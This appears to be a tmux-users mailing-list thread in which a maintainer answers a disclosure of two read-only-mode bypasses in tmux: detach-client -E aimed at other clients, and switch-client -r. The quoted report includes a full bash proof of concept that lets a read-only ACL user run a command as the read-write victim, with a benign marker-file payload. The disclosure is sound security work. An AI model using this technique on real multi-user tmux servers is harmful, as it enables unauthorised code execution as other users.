Re: Minor tmux read-only mode security bugs

1 view
Skip to first unread message

Nicholas Marriott

unread,
7:14 PM (4 hours ago) 7:14 PM
to John Walker, tmux-users, jo...@zeropath.com, external-secu...@zeropath.com
Hi

I'm not sure it was ever intended that you couldn't switch back from readonly mode (you can do it with switch-client as well). Perhaps we should forbid it, or you should only be able to do it if you are the "main" user (ie the one who owns the tmux server process).

detach-client is an oversight and we should change that.




On Wed, 20 May 2026, 23:53 John Walker, <johnw...@gmail.com> wrote:
Hello,

I think I may have discovered two minor security tmux bugs, both of which relate to the enforcement of read only mode.

The first is in detach-client, which has the CMD_READONLY flag set, and is therefore able to be run by read only clients.
This command accepts a -E argument with a shell command to run to replace the session being closed.  

At first blush this seems harmless.  If a user is detaching their own session, this just runs a shell command locally for them.  However, detach-client also exposes a -a and -s options that allow the user to detach all clients from other sessions.  This is potentially already a violation of the intent of CMD_READONLY, but combined with -E, it allows the read only user to run an arbitrary command as any user connected to tmux after disconnecting their session.

I've included a script below that reproduces the issue.

The second potential bug has to do with the switch-client command, which is also a CMD_READONLY command allowed in read only sessions.  This command includes a -r option which can toggle the read only mode of a session.  As a result, a user can "upgrade" their own session to full read write.

Thanks,

-John

Script to reproduce detatch-client issue:

#!/bin/bash
# PoC: a read-only ACL user gains code execution as a read-write client
# via `detach-client -t <victim-tty> -E "<cmd>"`.
#
# Why it works: detach-client carries CMD_READONLY at the cmd_entry level,
# but its -E option forwards an arbitrary shell command to the target
# client(s), which then execve() it. The readonly gate in
# server_client_dispatch_command() (server-client.c) only inspects the
# command flag, not the -E capability. The -t branch in
# cmd_detach_client_exec() has no `loop != tc` filter, so a readonly client
# can target any other client directly.
#
# Run as root on a Linux host. Needs two non-root users (defaults alice/bob)
# and a tmux binary. Tested against tmux next-3.7.
set -eu

TMUX=${TMUX:-tmux}
A=${A:-alice}                   # victim (read-write owner)
B=${B:-bob}                     # attacker (read-only via ACL)
SOCK=/tmp/tmux-repro.sock
MARK=/tmp/tmux-repro.pwned

rm -f "$SOCK" "$MARK" "$MARK.full"

# Alice starts a server + session, opens the socket to Bob's UID,
# and grants Bob read-only ACL access.
runuser -u "$A" -- "$TMUX" -S "$SOCK" new-session -d -s s 'sleep 9999'
chmod 0666 "$SOCK"
runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -a -r "$B"

# Alice attaches a real client in the background. tmux needs a pty;
# `script` provides one.
runuser -u "$A" -- bash -c "
  TERM=xterm-256color setsid script -qfc '$TMUX -S $SOCK attach' /dev/null \
      </dev/null >/dev/null 2>&1 &
"
sleep 1

# Confirm Bob's client is treated as read-only.
echo "ACL:"
runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -l

# Bob (read-only) enumerates the victim tty via list-clients (CMD_READONLY)
# and then fires the bypass.
TTY=$(runuser -u "$B" -- "$TMUX" -S "$SOCK" list-clients -F '#{client_tty}')
echo "victim tty: $TTY"

runuser -u "$B" -- "$TMUX" -S "$SOCK" detach-client -t "$TTY" \
    -E "id -un > $MARK; id > $MARK.full"
echo "bob's detach-client exit: $?"
sleep 1

echo
echo "Marker file (should be owned by $A and contain '$A'):"
ls -l "$MARK"
echo -n "  whoami: "; cat "$MARK"
echo -n "  id:     "; cat "$MARK.full"

runuser -u "$A" -- "$TMUX" -S "$SOCK" kill-server 2>/dev/null || true



Reply all
Reply to author
Forward
0 new messages